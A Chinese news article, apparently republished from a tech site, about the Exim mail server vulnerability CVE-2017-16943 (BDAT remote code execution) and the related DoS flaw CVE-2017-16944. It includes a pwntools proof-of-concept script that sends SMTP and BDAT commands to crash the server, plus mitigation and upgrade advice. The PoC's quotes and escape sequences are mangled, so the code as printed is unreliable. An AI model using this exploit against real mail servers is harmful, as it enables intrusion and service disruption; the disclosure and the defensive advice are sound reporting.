台湾安全公司 DEVCORE 的研究人员 Meh 于近期发现互联网邮件传输代理(MTA)软件 Exim 存在一处关键漏洞(CVE-2017-16943),允许黑客向 SMTP 服务器发送 BDAT 命令,从而触发漏洞后远程执行任意代码。调查显示,有超过 40 万台服务器的分块功能已遭该漏洞影响。
Exim 是剑桥大学开发的一款基于 GPL 协议的开放源代码软件,其主要用于连接互联网 Unix 系统的消息传输代理(MTA)服务器。目前,据三月份进行的一百多万台邮件服务器的分析表明,超过 56% 的用户正在使用 Exim 软件。
调查显示,该漏洞由一台公共bug跟踪器检测发现并在补丁发布之前意外披露。一旦黑客恶意利用,其系统将会处于崩溃状态,因为该函数指针的receive_getc并未被重置。以下是该漏洞部分概念验证代码(PoC)显示:
# pip install pwntools
from pwn import *r = remote(‘localhost’, 25)
r.recvline()
r.sendline(“EHLO test”)
r.recvuntil(“250 HELP”)
r.sendline(“MAIL FROM:<[email protected]>”)
r.recvline()
r.sendline(“RCPT TO:<[email protected]>”)
r.recvline()
#raw_input()
r.sendline(‘a’*0x1100+’/x7f’)
#raw_input()
r.recvuntil(‘command’)
r.sendline(‘BDAT 1’)
r.sendline(‘:BDAT /x7f’)
s = ‘a’*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ‘:/r/n’)
r.recvuntil(‘command’)
#raw_input()
r.send(‘/n’)
r.interactive()
exit()
虽然跟踪器会警示 Exim 软件存在漏洞,但根据用户习惯来看告警通知极有可能被忽略。不过,现开发人员已采取安全措施防止此类事件恶意发展,并提醒运行 Exim 4.88 或更高版本的用户将其主要配置参数 chunking_advertise_hosts 设置为空值,从而禁用 ESMTP 扩展、使 BDAT 无法使用,以便关闭易受攻击程序。
另外,研究人员发现的另一个漏洞(CVE-2017-16944)能够允许黑客利用 BDAT 命令与恶意函数远程开展拒绝服务(DoS)攻击。该漏洞影响了 Exim 4.88 和 4.89 中的 SMTP 后台进程。对此,研究人员建议系统管理人员尽快更新至 Exim 4.90 版本,以防可能的黑客恶意攻击。
本文经授权发布,不代表增长黑客立场,如若转载,请注明出处:https://www.growthhk.cn/cgo/market/1127.html